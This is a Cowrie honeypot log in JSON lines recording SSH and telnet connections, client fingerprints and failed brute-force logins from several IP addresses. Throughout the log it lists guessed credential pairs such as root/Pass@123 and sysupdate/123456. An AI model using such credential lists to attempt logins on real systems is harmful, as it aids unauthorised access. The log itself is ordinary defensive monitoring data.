{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37758,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3947890648","protocol":"ssh","message":"New connection: 165.154.137.186:37758 (10.17.0.5:22) [session: ef3947890648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:47.508969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:47.513592Z","src_ip":"165.154.137.186","session":"ef3947890648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:47.757956Z","src_ip":"165.154.137.186","session":"ef3947890648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:48.492384Z","src_ip":"165.154.137.186","session":"ef3947890648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:49.811547Z","src_ip":"165.154.137.186","session":"ef3947890648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46404,"dst_ip":"10.17.0.5","dst_port":22,"session":"2078d025081e","protocol":"ssh","message":"New connection: 165.154.137.186:46404 (10.17.0.5:22) [session: 2078d025081e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:54.606639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:54.610947Z","src_ip":"165.154.137.186","session":"2078d025081e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:54.881781Z","src_ip":"165.154.137.186","session":"2078d025081e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:55.743952Z","src_ip":"165.154.137.186","session":"2078d025081e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:57.016797Z","src_ip":"165.154.137.186","session":"2078d025081e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05479431152344,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:57.470066Z","src_ip":"172.81.62.90","session":"fcef34a977b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56450,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f5d5700fb0","protocol":"telnet","message":"New connection: 128.199.8.54:56450 (159.203.135.109:23) [session: d5f5d5700fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:01.834222Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57656,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e379d2d7532","protocol":"ssh","message":"New connection: 165.154.137.186:57656 (10.17.0.5:22) [session: 5e379d2d7532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:02.987123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:02.993884Z","src_ip":"165.154.137.186","session":"5e379d2d7532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:03.253941Z","src_ip":"165.154.137.186","session":"5e379d2d7532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:04.032753Z","src_ip":"165.154.137.186","session":"5e379d2d7532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":58068,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c1e653edf8","protocol":"ssh","message":"New connection: 85.198.19.241:58068 (159.203.135.109:22) [session: c5c1e653edf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:05.022872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:05.027697Z","src_ip":"85.198.19.241","session":"c5c1e653edf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:05.293772Z","src_ip":"165.154.137.186","session":"5e379d2d7532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:07.056594Z","src_ip":"85.198.19.241","session":"c5c1e653edf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"test","message":"login attempt [server/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:07.835046Z","src_ip":"85.198.19.241","session":"c5c1e653edf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4972aa1004","protocol":"ssh","message":"New connection: 62.133.62.83:41890 (10.17.0.5:22) [session: fd4972aa1004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:08.481519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:08.485660Z","src_ip":"62.133.62.83","session":"fd4972aa1004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:08.563200Z","src_ip":"62.133.62.83","session":"fd4972aa1004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123456w","message":"login attempt [root/q123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:08.807490Z","src_ip":"62.133.62.83","session":"fd4972aa1004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:09.104056Z","src_ip":"85.198.19.241","session":"c5c1e653edf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:09.887298Z","src_ip":"62.133.62.83","session":"fd4972aa1004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb567ae05ce","protocol":"telnet","message":"New connection: 128.199.8.54:45840 (159.203.135.109:23) [session: afb567ae05ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:16.903414Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57074,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbeaa3785e64","protocol":"ssh","message":"New connection: 165.154.137.186:57074 (10.17.0.5:22) [session: dbeaa3785e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:18.626991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:18.630889Z","src_ip":"165.154.137.186","session":"dbeaa3785e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:19.012418Z","src_ip":"165.154.137.186","session":"dbeaa3785e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.5915465354919434,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:19.494811Z","src_ip":"128.199.8.54","session":"afb567ae05ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:19.772027Z","src_ip":"165.154.137.186","session":"dbeaa3785e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:21.025196Z","src_ip":"165.154.137.186","session":"dbeaa3785e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"31c05bc96ee8","protocol":"ssh","message":"New connection: 165.154.137.186:60174 (10.17.0.5:22) [session: 31c05bc96ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:26.599656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:26.603195Z","src_ip":"165.154.137.186","session":"31c05bc96ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:26.858963Z","src_ip":"165.154.137.186","session":"31c05bc96ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:27.632679Z","src_ip":"165.154.137.186","session":"31c05bc96ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:28.891494Z","src_ip":"165.154.137.186","session":"31c05bc96ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":41608,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc77b7e221d","protocol":"ssh","message":"New connection: 103.216.145.2:41608 (10.17.0.5:22) [session: fcc77b7e221d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:34.203238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:34.207347Z","src_ip":"103.216.145.2","session":"fcc77b7e221d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:34.403428Z","src_ip":"103.216.145.2","session":"fcc77b7e221d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john1234","message":"login attempt [john/john1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:35.220989Z","src_ip":"103.216.145.2","session":"fcc77b7e221d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:36.418682Z","src_ip":"103.216.145.2","session":"fcc77b7e221d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47410,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d53ad631a92","protocol":"ssh","message":"New connection: 27.71.230.31:47410 (159.203.135.109:22) [session: 9d53ad631a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:36.928034Z"}
